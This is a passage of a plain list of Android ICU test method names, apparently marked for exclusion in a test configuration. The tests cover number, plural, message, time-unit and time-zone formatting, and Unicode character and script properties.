-android.icu.dev.test.format.NumberFormatTest#TestCurrency
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyAmountCoverage
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyFormatForMixParsing
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyFractionDigits
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyIsoPluralFormat
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyKeyword
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyObject
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyPatterns
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyPlurals
-android.icu.dev.test.format.NumberFormatTest#TestCurrencySign
-android.icu.dev.test.format.NumberFormatTest#TestCurrencyUsage
-android.icu.dev.test.format.NumberFormatTest#TestCurrFmtNegSameAsPositive
-android.icu.dev.test.format.NumberFormatTest#TestCustomCurrencySignAndSeparator
-android.icu.dev.test.format.NumberFormatTest#TestDataDrivenICU
-android.icu.dev.test.format.NumberFormatTest#TestDecimalFormatCurrencyParse
-android.icu.dev.test.format.NumberFormatTest#TestExplicitParents
-android.icu.dev.test.format.NumberFormatTest#TestExponent
-android.icu.dev.test.format.NumberFormatTest#TestExponential
-android.icu.dev.test.format.NumberFormatTest#TestExponentParse
-android.icu.dev.test.format.NumberFormatTest#TestFieldPositionCurrency
-android.icu.dev.test.format.NumberFormatTest#TestFieldPositionDecimal
-android.icu.dev.test.format.NumberFormatTest#TestFieldPositionFraction
-android.icu.dev.test.format.NumberFormatTest#TestFieldPositionFractionButInteger
-android.icu.dev.test.format.NumberFormatTest#TestFieldPositionInteger
-android.icu.dev.test.format.NumberFormatTest#TestFormat
-android.icu.dev.test.format.NumberFormatTest#TestFormatAbstractImplCoverage
-android.icu.dev.test.format.NumberFormatTest#TestFormatToCharacterIteratorIssue11805
-android.icu.dev.test.format.NumberFormatTest#TestFormatToCharacterIteratorThread
-android.icu.dev.test.format.NumberFormatTest#TestGetAvailableLocales
-android.icu.dev.test.format.NumberFormatTest#TestGetInstance
-android.icu.dev.test.format.NumberFormatTest#TestIllegalPatterns
-android.icu.dev.test.format.NumberFormatTest#TestJB3832
-android.icu.dev.test.format.NumberFormatTest#TestJB5251
-android.icu.dev.test.format.NumberFormatTest#TestJB5358
-android.icu.dev.test.format.NumberFormatTest#TestLenientSymbolParsing
-android.icu.dev.test.format.NumberFormatTest#TestMiscCurrencyParsing
-android.icu.dev.test.format.NumberFormatTest#TestMultiCurrencySign
-android.icu.dev.test.format.NumberFormatTest#TestNegZeroRounding
-android.icu.dev.test.format.NumberFormatTest#TestNumberFormatFactory
-android.icu.dev.test.format.NumberFormatTest#TestNumberFormatTestTupleToString
-android.icu.dev.test.format.NumberFormatTest#TestNumberingSystemCoverage
-android.icu.dev.test.format.NumberFormatTest#TestNumberingSystems
-android.icu.dev.test.format.NumberFormatTest#TestPad
-android.icu.dev.test.format.NumberFormatTest#TestParse
-android.icu.dev.test.format.NumberFormatTest#TestParseCurrency
-android.icu.dev.test.format.NumberFormatTest#TestParseCurrencyTrailingSymbol
-android.icu.dev.test.format.NumberFormatTest#TestParseMaxDigits
-android.icu.dev.test.format.NumberFormatTest#TestParseNegativeWithAlternativeMinusSign
-android.icu.dev.test.format.NumberFormatTest#TestParseNegativeWithFaLocale
-android.icu.dev.test.format.NumberFormatTest#TestParseRequiredDecimalPoint
-android.icu.dev.test.format.NumberFormatTest#TestParseReturnType
-android.icu.dev.test.format.NumberFormatTest#TestParseSignsAndMarks
-android.icu.dev.test.format.NumberFormatTest#TestPatterns
-android.icu.dev.test.format.NumberFormatTest#TestPatterns2
-android.icu.dev.test.format.NumberFormatTest#TestPerMill
-android.icu.dev.test.format.NumberFormatTest#TestQuotes
-android.icu.dev.test.format.NumberFormatTest#TestRegistration
-android.icu.dev.test.format.NumberFormatTest#TestRounding
-android.icu.dev.test.format.NumberFormatTest#TestRounding487
-android.icu.dev.test.format.NumberFormatTest#TestRoundingBehavior
-android.icu.dev.test.format.NumberFormatTest#TestRoundingMode
-android.icu.dev.test.format.NumberFormatTest#TestRoundingPattern
-android.icu.dev.test.format.NumberFormatTest#TestRoundingScientific10542
-android.icu.dev.test.format.NumberFormatTest#TestRoundUnnecessarytIssue11808
-android.icu.dev.test.format.NumberFormatTest#TestScientific
-android.icu.dev.test.format.NumberFormatTest#TestScientific2
-android.icu.dev.test.format.NumberFormatTest#TestScientificGrouping
-android.icu.dev.test.format.NumberFormatTest#TestSecondaryGrouping
-android.icu.dev.test.format.NumberFormatTest#TestSetCurrency
-android.icu.dev.test.format.NumberFormatTest#TestSetMinimumIntegerDigits
-android.icu.dev.test.format.NumberFormatTest#TestShowZero
-android.icu.dev.test.format.NumberFormatTest#TestSignificantDigits
-android.icu.dev.test.format.NumberFormatTest#TestSimpleNumberFormatFactory
-android.icu.dev.test.format.NumberFormatTest#TestSpaceParsing
-android.icu.dev.test.format.NumberFormatTest#TestStrictParse
-android.icu.dev.test.format.NumberFormatTest#TestThreadedFormat
-android.icu.dev.test.format.NumberFormatTest#TestWhiteSpaceParsing
-android.icu.dev.test.format.NumberRegression#Test4052223
-android.icu.dev.test.format.NumberRegression#Test4059870
-android.icu.dev.test.format.NumberRegression#Test4061302
-android.icu.dev.test.format.NumberRegression#Test4062486
-android.icu.dev.test.format.NumberRegression#Test4066646
-android.icu.dev.test.format.NumberRegression#Test4068693
-android.icu.dev.test.format.NumberRegression#Test4069754
-android.icu.dev.test.format.NumberRegression#Test4070798
-android.icu.dev.test.format.NumberRegression#Test4071005
-android.icu.dev.test.format.NumberRegression#Test4071014
-android.icu.dev.test.format.NumberRegression#Test4071492
-android.icu.dev.test.format.NumberRegression#Test4071859
-android.icu.dev.test.format.NumberRegression#Test4074454
-android.icu.dev.test.format.NumberRegression#Test4074620
-android.icu.dev.test.format.NumberRegression#Test4075713
-android.icu.dev.test.format.NumberRegression#Test4083018
-android.icu.dev.test.format.NumberRegression#Test4086575
-android.icu.dev.test.format.NumberRegression#Test4087244
-android.icu.dev.test.format.NumberRegression#Test4087245
-android.icu.dev.test.format.NumberRegression#Test4087251
-android.icu.dev.test.format.NumberRegression#Test4087535
-android.icu.dev.test.format.NumberRegression#Test4088161
-android.icu.dev.test.format.NumberRegression#Test4088503
-android.icu.dev.test.format.NumberRegression#Test4090489
-android.icu.dev.test.format.NumberRegression#Test4090504
-android.icu.dev.test.format.NumberRegression#Test4092480
-android.icu.dev.test.format.NumberRegression#Test4092561
-android.icu.dev.test.format.NumberRegression#Test4093610
-android.icu.dev.test.format.NumberRegression#Test4095713
-android.icu.dev.test.format.NumberRegression#Test4098741
-android.icu.dev.test.format.NumberRegression#Test4099404
-android.icu.dev.test.format.NumberRegression#Test4101481
-android.icu.dev.test.format.NumberRegression#Test4106658
-android.icu.dev.test.format.NumberRegression#Test4106662
-android.icu.dev.test.format.NumberRegression#Test4106664
-android.icu.dev.test.format.NumberRegression#Test4106667
-android.icu.dev.test.format.NumberRegression#Test4108738
-android.icu.dev.test.format.NumberRegression#Test4110936
-android.icu.dev.test.format.NumberRegression#Test4114639
-android.icu.dev.test.format.NumberRegression#Test4122840
-android.icu.dev.test.format.NumberRegression#Test4125885
-android.icu.dev.test.format.NumberRegression#Test4134034
-android.icu.dev.test.format.NumberRegression#Test4134300
-android.icu.dev.test.format.NumberRegression#Test4140009
-android.icu.dev.test.format.NumberRegression#Test4141750
-android.icu.dev.test.format.NumberRegression#Test4145457
-android.icu.dev.test.format.NumberRegression#Test4147295
-android.icu.dev.test.format.NumberRegression#Test4147706
-android.icu.dev.test.format.NumberRegression#Test4162198
-android.icu.dev.test.format.NumberRegression#Test4162852
-android.icu.dev.test.format.NumberRegression#Test4167494
-android.icu.dev.test.format.NumberRegression#Test4170798
-android.icu.dev.test.format.NumberRegression#Test4176114
-android.icu.dev.test.format.NumberRegression#Test4179818
-android.icu.dev.test.format.NumberRegression#Test4185761
-android.icu.dev.test.format.NumberRegression#Test4212072
-android.icu.dev.test.format.NumberRegression#Test4216742
-android.icu.dev.test.format.NumberRegression#Test4217661
-android.icu.dev.test.format.NumberRegression#test4233840
-android.icu.dev.test.format.NumberRegression#test4241880
-android.icu.dev.test.format.NumberRegression#Test4243011
-android.icu.dev.test.format.NumberRegression#Test4243108
-android.icu.dev.test.format.NumberRegression#test4330377
-android.icu.dev.test.format.PluralFormatTest#TestEquals
-android.icu.dev.test.format.PluralFormatTest#TestGetLocale
-android.icu.dev.test.format.PluralFormatTest#TestGetPluralRules
-android.icu.dev.test.format.PluralFormatTest#TestOneFormLocales
-android.icu.dev.test.format.PluralFormatTest#TestPaucal1_234
-android.icu.dev.test.format.PluralFormatTest#TestPaucal1_2_34
-android.icu.dev.test.format.PluralFormatTest#TestPaucalExcept11_14
-android.icu.dev.test.format.PluralFormatTest#TestPaucalRu
-android.icu.dev.test.format.PluralFormatTest#TestSetLocale
-android.icu.dev.test.format.PluralFormatTest#TestSingular01Locales
-android.icu.dev.test.format.PluralFormatTest#TestSingular1Locales
-android.icu.dev.test.format.PluralFormatTest#TestSingularDual
-android.icu.dev.test.format.PluralFormatTest#TestSingularPaucal
-android.icu.dev.test.format.PluralFormatTest#TestSingularZeroSome
-android.icu.dev.test.format.PluralFormatTest#TestSpecial12_19
-android.icu.dev.test.format.PluralFormatTest#TestZeroSingularLocales
-android.icu.dev.test.format.PluralFormatUnitTest#TestApplyPatternAndFormat
-android.icu.dev.test.format.PluralFormatUnitTest#TestConstructor
-android.icu.dev.test.format.PluralFormatUnitTest#TestDecimals
-android.icu.dev.test.format.PluralFormatUnitTest#TestEquals
-android.icu.dev.test.format.PluralFormatUnitTest#TestExtendedPluralFormat
-android.icu.dev.test.format.PluralFormatUnitTest#TestExtendedPluralFormatParsing
-android.icu.dev.test.format.PluralFormatUnitTest#TestNegative
-android.icu.dev.test.format.PluralFormatUnitTest#TestOrdinalFormat
-android.icu.dev.test.format.PluralFormatUnitTest#TestParse
-android.icu.dev.test.format.PluralFormatUnitTest#TestPattern
-android.icu.dev.test.format.PluralFormatUnitTest#TestSamples
-android.icu.dev.test.format.PluralFormatUnitTest#TestSetLocale
-android.icu.dev.test.format.PluralRangesTest#TestBasic
-android.icu.dev.test.format.PluralRangesTest#TestFormatting
-android.icu.dev.test.format.PluralRangesTest#TestLocaleData
-android.icu.dev.test.format.PluralRangesTest#TestRangePattern
-android.icu.dev.test.format.PluralRulesTest#testAvailableULocales
-android.icu.dev.test.format.PluralRulesTest#TestBasicFraction
-android.icu.dev.test.format.PluralRulesTest#testBuiltInRules
-android.icu.dev.test.format.PluralRulesTest#TestCreateRules
-android.icu.dev.test.format.PluralRulesTest#testEquality
-android.icu.dev.test.format.PluralRulesTest#TestEquals
-android.icu.dev.test.format.PluralRulesTest#testFunctionalEquivalent
-android.icu.dev.test.format.PluralRulesTest#TestGetAllKeywordValues
-android.icu.dev.test.format.PluralRulesTest#TestGetSamples
-android.icu.dev.test.format.PluralRulesTest#TestGetUniqueKeywordValue
-android.icu.dev.test.format.PluralRulesTest#TestHashCode
-android.icu.dev.test.format.PluralRulesTest#testInequality
-android.icu.dev.test.format.PluralRulesTest#testJavaLocaleFactory
-android.icu.dev.test.format.PluralRulesTest#TestKeywords
-android.icu.dev.test.format.PluralRulesTest#TestLimitedAndSamplesConsistency
-android.icu.dev.test.format.PluralRulesTest#TestLocales
-android.icu.dev.test.format.PluralRulesTest#testOperands
-android.icu.dev.test.format.PluralRulesTest#TestOrdinal
-android.icu.dev.test.format.PluralRulesTest#TestParseDescription
-android.icu.dev.test.format.PluralRulesTest#testParseEmpty
-android.icu.dev.test.format.PluralRulesTest#testParsing
-android.icu.dev.test.format.PluralRulesTest#testSamples
-android.icu.dev.test.format.PluralRulesTest#TestSerial
-android.icu.dev.test.format.PluralRulesTest#TestSerialization
-android.icu.dev.test.format.PluralRulesTest#testSyntaxRestrictions
-android.icu.dev.test.format.PluralRulesTest#testUniqueRules
-android.icu.dev.test.format.RbnfLenientScannerTest#TestAllLocales
-android.icu.dev.test.format.RbnfLenientScannerTest#TestDefaultProvider
-android.icu.dev.test.format.RbnfLenientScannerTest#TestDurations
-android.icu.dev.test.format.RbnfLenientScannerTest#TestEnglishSpellout
-android.icu.dev.test.format.RbnfLenientScannerTest#TestFrenchSpellout
-android.icu.dev.test.format.RbnfLenientScannerTest#TestGermanSpellout
-android.icu.dev.test.format.RBNFParseTest#TestLenientParse
-android.icu.dev.test.format.RBNFParseTest#TestParse
-android.icu.dev.test.format.RbnfRoundTripTest#TestDurationsRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestDutchSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestEnglishSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestFrenchSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestGermanSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestGreekSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestHebrewNumberingRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestItalianSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestJapaneseSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestRussianSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestSpanishSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestSwedishSpelloutRT
-android.icu.dev.test.format.RbnfRoundTripTest#TestSwissFrenchSpelloutRT
-android.icu.dev.test.format.RbnfTest#TestAllLocales
-android.icu.dev.test.format.RbnfTest#TestBigNumbers
-android.icu.dev.test.format.RbnfTest#TestChineseProcess
-android.icu.dev.test.format.RbnfTest#TestContext
-android.icu.dev.test.format.RbnfTest#TestCoverage
-android.icu.dev.test.format.RbnfTest#TestDurations
-android.icu.dev.test.format.RbnfTest#TestEnglishSpellout
-android.icu.dev.test.format.RbnfTest#TestEquals
-android.icu.dev.test.format.RbnfTest#TestFractionalRuleSet
-android.icu.dev.test.format.RbnfTest#TestFrenchSpellout
-android.icu.dev.test.format.RbnfTest#TestGermanSpellout
-android.icu.dev.test.format.RbnfTest#TestGetNameListForLocale
-android.icu.dev.test.format.RbnfTest#TestGetRuleDisplayNameLocales
-android.icu.dev.test.format.RbnfTest#TestGetRulesSetDisplayName
-android.icu.dev.test.format.RbnfTest#TestInfinityNaN
-android.icu.dev.test.format.RbnfTest#TestItalianSpellout
-android.icu.dev.test.format.RbnfTest#TestMultiplePluralRules
-android.icu.dev.test.format.RbnfTest#TestOrdinalAbbreviations
-android.icu.dev.test.format.RbnfTest#TestPluralRules
-android.icu.dev.test.format.RbnfTest#TestRounding
-android.icu.dev.test.format.RbnfTest#TestRuleSetDisplayName
-android.icu.dev.test.format.RbnfTest#TestSetDecimalFormatSymbols
-android.icu.dev.test.format.RbnfTest#TestSmallValues
-android.icu.dev.test.format.RbnfTest#TestSpanishSpellout
-android.icu.dev.test.format.RbnfTest#TestSwedishSpellout
-android.icu.dev.test.format.RbnfTest#TestSwissFrenchSpellout
-android.icu.dev.test.format.RbnfTest#TestThaiSpellout
-android.icu.dev.test.format.RbnfTest#TestTrailingSemicolon
-android.icu.dev.test.format.RbnfTest#TestUndefinedSpellout
-android.icu.dev.test.format.RbnfTest#TestVariableDecimalPoint
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestBadDisplayContext
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestCombineDateAndTime
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestCustomNumberFormat
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestFormatWithoutQuantityIllegalArgument
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestFormatWithQuantityIllegalArgument
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestGetters
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestJavaLocale
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithoutQuantity
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithoutQuantityCaps
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithoutQuantityNarrow
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithoutQuantityShort
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithQuantity
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithQuantityCaps
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithQuantityNarrow
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithQuantityShort
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithQuantitySr
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestRelativeDateWithQuantitySrFallback
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestSidewaysDataLoading
-android.icu.dev.test.format.RelativeDateTimeFormatterTest#TestTwoBeforeTwoAfter
-android.icu.dev.test.format.ScientificNumberFormatterTest#TestBasic
-android.icu.dev.test.format.ScientificNumberFormatterTest#TestFarsi
-android.icu.dev.test.format.ScientificNumberFormatterTest#TestFixedDecimalMarkup
-android.icu.dev.test.format.ScientificNumberFormatterTest#TestFixedDecimalSuperscript
-android.icu.dev.test.format.ScientificNumberFormatterTest#TestPlusSignInExponentMarkup
-android.icu.dev.test.format.ScientificNumberFormatterTest#TestPlusSignInExponentSuperscript
-android.icu.dev.test.format.SelectFormatAPITest#TestApplyPatternToPattern
-android.icu.dev.test.format.SelectFormatAPITest#TestConstructors
-android.icu.dev.test.format.SelectFormatAPITest#TestEquals
-android.icu.dev.test.format.SelectFormatAPITest#TestFormat
-android.icu.dev.test.format.SelectFormatAPITest#TestHashCode
-android.icu.dev.test.format.SelectFormatAPITest#TestParseObject
-android.icu.dev.test.format.SelectFormatAPITest#TestToPattern
-android.icu.dev.test.format.SelectFormatAPITest#TestToString
-android.icu.dev.test.format.SelectFormatUnitTest#TestApplyFormat
-android.icu.dev.test.format.SelectFormatUnitTest#TestInvalidKeyword
-android.icu.dev.test.format.SelectFormatUnitTest#TestPatternSyntax
-android.icu.dev.test.format.TestMessageFormat#TestAdopt
-android.icu.dev.test.format.TestMessageFormat#testApostropheInPluralAndSelect
-android.icu.dev.test.format.TestMessageFormat#TestApostropheMode
-android.icu.dev.test.format.TestMessageFormat#TestAutoQuoteApostrophe
-android.icu.dev.test.format.TestMessageFormat#TestBug1
-android.icu.dev.test.format.TestMessageFormat#TestBug2
-android.icu.dev.test.format.TestMessageFormat#TestBug3
-android.icu.dev.test.format.TestMessageFormat#TestClone
-android.icu.dev.test.format.TestMessageFormat#TestCompatibleApostrophe
-android.icu.dev.test.format.TestMessageFormat#TestDecimals
-android.icu.dev.test.format.TestMessageFormat#TestEquals
-android.icu.dev.test.format.TestMessageFormat#TestFormat
-android.icu.dev.test.format.TestMessageFormat#testFormatNamedArguments
-android.icu.dev.test.format.TestMessageFormat#TestFormatToCharacterIterator
-android.icu.dev.test.format.TestMessageFormat#TestGetFormatByArgumentName
-android.icu.dev.test.format.TestMessageFormat#TestHashCode
-android.icu.dev.test.format.TestMessageFormat#TestMessagePatternAutoQuoteApostropheDeep
-android.icu.dev.test.format.TestMessageFormat#TestMessagePatternFreezable
-android.icu.dev.test.format.TestMessageFormat#TestMessagePatternNamedAndNumberedArguments
-android.icu.dev.test.format.TestMessageFormat#TestMessagePatternParseChoiceStyle
-android.icu.dev.test.format.TestMessageFormat#TestMessagePatternPartCoverage
-android.icu.dev.test.format.TestMessageFormat#TestMsgFormatChoice
-android.icu.dev.test.format.TestMessageFormat#testNamedArguments
-android.icu.dev.test.format.TestMessageFormat#testNestedFormatsInPluralFormat
-android.icu.dev.test.format.TestMessageFormat#TestNotEquals
-android.icu.dev.test.format.TestMessageFormat#TestNullArgs
-android.icu.dev.test.format.TestMessageFormat#testNumericFormatWithMap
-android.icu.dev.test.format.TestMessageFormat#testNumericOnlyMethods
-android.icu.dev.test.format.TestMessageFormat#TestParse
-android.icu.dev.test.format.TestMessageFormat#testParseNamedArguments
-android.icu.dev.test.format.TestMessageFormat#TestPattern
-android.icu.dev.test.format.TestMessageFormat#testPluralFormat
-android.icu.dev.test.format.TestMessageFormat#testPluralFormatToPattern
-android.icu.dev.test.format.TestMessageFormat#TestRBNF
-android.icu.dev.test.format.TestMessageFormat#TestSample
-android.icu.dev.test.format.TestMessageFormat#testSelectFormat
-android.icu.dev.test.format.TestMessageFormat#testSelectFormatToPattern
-android.icu.dev.test.format.TestMessageFormat#TestSelectOrdinal
-android.icu.dev.test.format.TestMessageFormat#TestSetFormat
-android.icu.dev.test.format.TestMessageFormat#TestSetGetFormats
-android.icu.dev.test.format.TestMessageFormat#TestSetLocale
-android.icu.dev.test.format.TestMessageFormat#TestSimpleFormat
-android.icu.dev.test.format.TestMessageFormat#TestStaticFormat
-android.icu.dev.test.format.TestMessageFormat#TestTrimArgumentName
-android.icu.dev.test.format.TestMessageFormat#TestUnlimitedArgsAndSubformats
-android.icu.dev.test.format.TimeUnitTest#Test10219FactionalPluralsParse
-android.icu.dev.test.format.TimeUnitTest#Test10219FractionalPlurals
-android.icu.dev.test.format.TimeUnitTest#TestAPI
-android.icu.dev.test.format.TimeUnitTest#TestBasic
-android.icu.dev.test.format.TimeUnitTest#TestBritishShortHourFallback
-android.icu.dev.test.format.TimeUnitTest#TestClone
-android.icu.dev.test.format.TimeUnitTest#TestEqHashCode
-android.icu.dev.test.format.TimeUnitTest#TestFormat
-android.icu.dev.test.format.TimeUnitTest#TestGetLocale
-android.icu.dev.test.format.TimeUnitTest#TestGreek
-android.icu.dev.test.format.TimeUnitTest#TestGreekWithSanitization
-android.icu.dev.test.format.TimeUnitTest#TestSetLocale
-android.icu.dev.test.format.TimeUnitTest#TestSetNumberFormat
-android.icu.dev.test.format.TimeUnitTest#TestSetup
-android.icu.dev.test.format.TimeUnitTest#TestStandInForMeasureFormat
-android.icu.dev.test.format.TimeUnitTest#TestTimeUnitFormat
-android.icu.dev.test.format.TimeZoneFormatTest#TestAPI
-android.icu.dev.test.format.TimeZoneFormatTest#TestFormat
-android.icu.dev.test.format.TimeZoneFormatTest#TestFormatTZDBNames
-android.icu.dev.test.format.TimeZoneFormatTest#TestInheritedFormat
-android.icu.dev.test.format.TimeZoneFormatTest#TestISOFormat
-android.icu.dev.test.format.TimeZoneFormatTest#TestParse
-android.icu.dev.test.format.TimeZoneFormatTest#TestParseCoverage
-android.icu.dev.test.format.TimeZoneFormatTest#TestTimeRoundTrip
-android.icu.dev.test.format.TimeZoneFormatTest#TestTimeZoneRoundTrip
-android.icu.dev.test.format.TimeZoneFormatTest#TestTZDBNamesThreading
-android.icu.dev.test.iterator.TestUCharacterIterator#TestClone
-android.icu.dev.test.iterator.TestUCharacterIterator#TestIteration
-android.icu.dev.test.iterator.TestUCharacterIterator#TestIterationUChar32
-android.icu.dev.test.iterator.TestUCharacterIterator#TestJitterbug1952
-android.icu.dev.test.iterator.TestUCharacterIterator#TestPreviousNext
-android.icu.dev.test.iterator.TestUCharacterIterator#TestUCharacterIteratorWrapper
-android.icu.dev.test.lang.TestUScriptRun#TestContstruction
-android.icu.dev.test.lang.TestUScriptRun#TestReset
-android.icu.dev.test.lang.TestUScriptRun#TestRuns
-android.icu.dev.test.lang.TestUScript#TestAllCodepoints
-android.icu.dev.test.lang.TestUScript#TestGetCode
-android.icu.dev.test.lang.TestUScript#TestGetName
-android.icu.dev.test.lang.TestUScript#TestGetScript
-android.icu.dev.test.lang.TestUScript#TestGetScriptExtensions
-android.icu.dev.test.lang.TestUScript#TestGetScriptOfCharsWithScriptExtensions
-android.icu.dev.test.lang.TestUScript#TestGetShortName
-android.icu.dev.test.lang.TestUScript#TestHasScript
-android.icu.dev.test.lang.TestUScript#TestLocaleGetCode
-android.icu.dev.test.lang.TestUScript#TestMultipleCode
-android.icu.dev.test.lang.TestUScript#TestNewCode
-android.icu.dev.test.lang.TestUScript#TestScriptMetadata
-android.icu.dev.test.lang.TestUScript#TestScriptMetadataAPI
-android.icu.dev.test.lang.TestUScript#TestScriptNames
-android.icu.dev.test.lang.UCharacterCaseTest#TestCharacter
-android.icu.dev.test.lang.UCharacterCaseTest#TestDutchTitle
-android.icu.dev.test.lang.UCharacterCaseTest#TestFolding
-android.icu.dev.test.lang.UCharacterCaseTest#TestLower
-android.icu.dev.test.lang.UCharacterCaseTest#TestSpecial
-android.icu.dev.test.lang.UCharacterCaseTest#TestSpecialCasingTxt
-android.icu.dev.test.lang.UCharacterCaseTest#TestTitle
-android.icu.dev.test.lang.UCharacterCaseTest#TestTitleRegression
-android.icu.dev.test.lang.UCharacterCaseTest#TestUpper
-android.icu.dev.test.lang.UCharacterCaseTest#TestUpperLower
-android.icu.dev.test.lang.UCharacterCategoryTest#TestToString
-android.icu.dev.test.lang.UCharacterDirectionTest#TestToString
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestCharCount
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestCodePointAtBefore
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestCodePointCount
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestIsHighSurrogate
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestIsLowSurrogate
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestIsSupplementaryCodePoint
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestIsSurrogatePair
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestIsValidCodePoint
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestOffsetByCodePoints
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestToChars
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestToCodePoint
-android.icu.dev.test.lang.UCharacterSurrogateTest#TestUnicodeBlockForName
-android.icu.dev.test.lang.UCharacterTest#TestAdditionalProperties
-android.icu.dev.test.lang.UCharacterTest#TestBase
-android.icu.dev.test.lang.UCharacterTest#TestBidiPairedBracketType
-android.icu.dev.test.lang.UCharacterTest#TestBlockData
-android.icu.dev.test.lang.UCharacterTest#TestCodePoint
-android.icu.dev.test.lang.UCharacterTest#TestCodePointAt
-android.icu.dev.test.lang.UCharacterTest#TestCodePointBefore
-android.icu.dev.test.lang.UCharacterTest#TestCodePointCount
-android.icu.dev.test.lang.UCharacterTest#TestConsistency
-android.icu.dev.test.lang.UCharacterTest#TestCoverage
-android.icu.dev.test.lang.UCharacterTest#TestDefined
-android.icu.dev.test.lang.UCharacterTest#TestDigits
-android.icu.dev.test.lang.UCharacterTest#TestForName
-android.icu.dev.test.lang.UCharacterTest#TestGetAge
-android.icu.dev.test.lang.UCharacterTest#TestGetCombiningClass
-android.icu.dev.test.lang.UCharacterTest#TestGetEuropeanDigit
-android.icu.dev.test.lang.UCharacterTest#TestGetHanNumericValue
-android.icu.dev.test.lang.UCharacterTest#TestGetInstance
-android.icu.dev.test.lang.UCharacterTest#TestGetIntPropertyMaxValue
-android.icu.dev.test.lang.UCharacterTest#TestGetIntPropertyValue
-android.icu.dev.test.lang.UCharacterTest#TestGetISOComment
-android.icu.dev.test.lang.UCharacterTest#TestGetName
-android.icu.dev.test.lang.UCharacterTest#TestGetNumericValue
-android.icu.dev.test.lang.UCharacterTest#TestGetProperty
-android.icu.dev.test.lang.UCharacterTest#TestGetUnicodeNumericValue
-android.icu.dev.test.lang.UCharacterTest#TestHasBinaryProperty
-android.icu.dev.test.lang.UCharacterTest#TestIdentifier
-android.icu.dev.test.lang.UCharacterTest#TestIsBMP
-android.icu.dev.test.lang.UCharacterTest#TestIsFrozen
-android.icu.dev.test.lang.UCharacterTest#TestIsLegal
-android.icu.dev.test.lang.UCharacterTest#TestISOControl
-android.icu.dev.test.lang.UCharacterTest#TestIteration
-android.icu.dev.test.lang.UCharacterTest#TestLetterNumber
-android.icu.dev.test.lang.UCharacterTest#TestMirror
-android.icu.dev.test.lang.UCharacterTest#TestNameIteration
-android.icu.dev.test.lang.UCharacterTest#TestNames
-android.icu.dev.test.lang.UCharacterTest#TestNextCaseMapCP
-android.icu.dev.test.lang.UCharacterTest#TestNumeric
-android.icu.dev.test.lang.UCharacterTest#TestNumericProperties
-android.icu.dev.test.lang.UCharacterTest#TestOf
-android.icu.dev.test.lang.UCharacterTest#TestPatternProperties
-android.icu.dev.test.lang.UCharacterTest#TestPrint
-android.icu.dev.test.lang.UCharacterTest#TestPropertyValues
-android.icu.dev.test.lang.UCharacterTest#TestReset
-android.icu.dev.test.lang.UCharacterTest#TestSetLimit
-android.icu.dev.test.lang.UCharacterTest#TestSpaces
-android.icu.dev.test.lang.UCharacterTest#TestSupplementary
-android.icu.dev.test.lang.UCharacterTest#TestToChars
-android.icu.dev.test.lang.UCharacterTest#TestToLowerCase
-android.icu.dev.test.lang.UCharacterTest#TestToString
-android.icu.dev.test.lang.UCharacterTest#TestToTitleCaseCoverage
-android.icu.dev.test.lang.UCharacterTest#TestToUpperCase
-android.icu.dev.test.lang.UCharacterTest#TestUCharFromNameUnderflow
-android.icu.dev.test.lang.UCharacterTest#TestUnicodeData
-android.icu.dev.test.lang.UCharacterTest#TestVersion
-android.icu.dev.test.lang.UCharacterTest#TestXSymbolTable
-android.icu.dev.test.lang.UCharacterThreadTest#TestUCharactersGetName
-android.icu.dev.test.lang.UnicodeSetStringSpanTest#TestInterestingStringSpan
-android.icu.dev.test.lang.UnicodeSetStringSpanTest#TestSimpleStringSpan
-android.icu.dev.test.lang.UnicodeSetStringSpanTest#TestSimpleStringSpanAndFreeze
-android.icu.dev.test.lang.UnicodeSetStringSpanTest#TestSimpleStringSpanSlow
-android.icu.dev.test.lang.UnicodeSetStringSpanTest#TestSpan
